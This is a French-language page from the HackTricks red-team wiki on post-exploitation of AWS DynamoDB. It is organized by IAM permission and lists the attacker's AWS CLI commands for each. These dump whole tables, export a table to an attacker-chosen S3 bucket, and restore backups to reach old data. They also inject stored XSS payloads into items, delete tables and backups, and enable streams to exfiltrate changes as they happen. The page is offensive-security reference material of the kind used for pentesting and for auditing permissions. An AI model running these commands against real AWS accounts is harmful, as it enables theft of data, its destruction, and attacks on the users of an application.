AWS - DynamoDB Post Exploitation

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

DynamoDB

Pour plus d'informations, consultez :

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

Un attaquant avec ces autorisations pourra obtenir des éléments des tables par la clé primaire (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez les obtenir en récupérant les métadonnées de la table (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Impact potentiel : Élévation indirecte des privilèges en localisant des informations sensibles dans la table

dynamodb:GetItem

Similaire aux autorisations précédentes, celle-ci permet à un attaquant potentiel de lire des valeurs à partir d'une seule table en donnant la clé primaire de l'entrée à récupérer :

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Avec cette autorisation, il est également possible d'utiliser la méthode transact-get-items comme suit :

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Impact potentiel : Élévation indirecte des privilèges en localisant des informations sensibles dans la table

dynamodb:Query

Similaire aux autorisations précédentes, celle-ci permet à un attaquant potentiel de lire des valeurs à partir d'une seule table en donnant la clé primaire de l'entrée à récupérer. Il permet d'utiliser un sous-ensemble de comparaisons, mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour obtenir toute la base de données dans une requête.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Impact potentiel : Élévation indirecte des privilèges en localisant des informations sensibles dans la table

dynamodb:Scan

Vous pouvez utiliser cette autorisation pour extraire facilement l'intégralité de la table.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Impact potentiel : Élévation indirecte des privilèges en localisant des informations sensibles dans la table

dynamodb:PartiQLSelect

Vous pouvez utiliser cette autorisation pour extraire facilement l'intégralité de la table.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Cette autorisation permet également d'effectuer batch-execute-statement comme suit :

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

mais vous devez spécifier la clé primaire avec une valeur, donc ce n'est pas très utile.

Impact potentiel : Élévation indirecte des privilèges en localisant des informations sensibles dans la table

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Cette autorisation permettra à un attaquant d'exporter l'ensemble de la table vers un bucket S3 de son choix :

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Notez que pour que cela fonctionne, la table doit avoir la récupération à un instant donné activée, vous pouvez vérifier si la table l'a avec :

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Si ce n'est pas activé, vous devrez l'activer et pour cela, vous avez besoin de l'autorisation dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Impact potentiel : Élévation indirecte des privilèges en localisant des informations sensibles dans la table

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Avec ces autorisations, un attaquant serait capable de créer une nouvelle table à partir d'une sauvegarde (ou même de créer une sauvegarde pour ensuite la restaurer dans une table différente). Ensuite, avec les autorisations nécessaires, il serait capable de consulter des informations provenant des sauvegardes qui pourraient ne plus être présentes dans la table de production.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Impact potentiel : Élévation indirecte des privilèges en localisant des informations sensibles dans la sauvegarde de la table

dynamodb:PutItem

Cette autorisation permet aux utilisateurs d'ajouter un nouvel élément à la table ou de remplacer un élément existant par un nouvel élément. Si un élément avec la même clé primaire existe déjà, l'ensemble de l'élément sera remplacé par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera créé.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Impact potentiel : Exploitation de vulnérabilités/bypass supplémentaires en pouvant ajouter/modifier des données dans une table DynamoDB

dynamodb:UpdateItem

Cette autorisation permet aux utilisateurs de modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément. Elle ne remplace pas l'élément entier ; elle met à jour uniquement les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération va créer un nouvel élément avec la clé primaire spécifiée et définir les attributs spécifiés dans l'expression de mise à jour.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Impact potentiel : Exploitation de vulnérabilités/bypass supplémentaires en pouvant ajouter/modifier des données dans une table DynamoDB

dynamodb:DeleteTable

Un attaquant avec cette permission peut supprimer une table DynamoDB, entraînant une perte de données.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Impact potentiel : Perte de données et perturbation des services dépendant de la table supprimée.

dynamodb:DeleteBackup

Un attaquant avec cette autorisation peut supprimer une sauvegarde DynamoDB, causant potentiellement une perte de données en cas de scénario de reprise après sinistre.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Impact potentiel : Perte de données et impossibilité de récupérer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

À FAIRE : Tester si cela fonctionne réellement

Un attaquant avec ces autorisations peut activer un flux sur une table DynamoDB, mettre à jour la table pour commencer à diffuser les modifications, puis accéder au flux pour surveiller en temps réel les changements apportés à la table. Cela permet à l'attaquant de surveiller et d'exfiltrer les modifications de données, ce qui peut potentiellement entraîner une fuite de données.

  1. Activer un flux sur une table DynamoDB :

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Décrivez le flux pour obtenir l'ARN et d'autres détails :

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Obtenir l'itérateur de fragment en utilisant l'ARN du flux :

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Utilisez l'itérateur de shard pour accéder et exfiltrer des données du flux :

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Impact potentiel: Surveillance en temps réel et fuite de données des modifications de la table DynamoDB.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Dernière mise à jour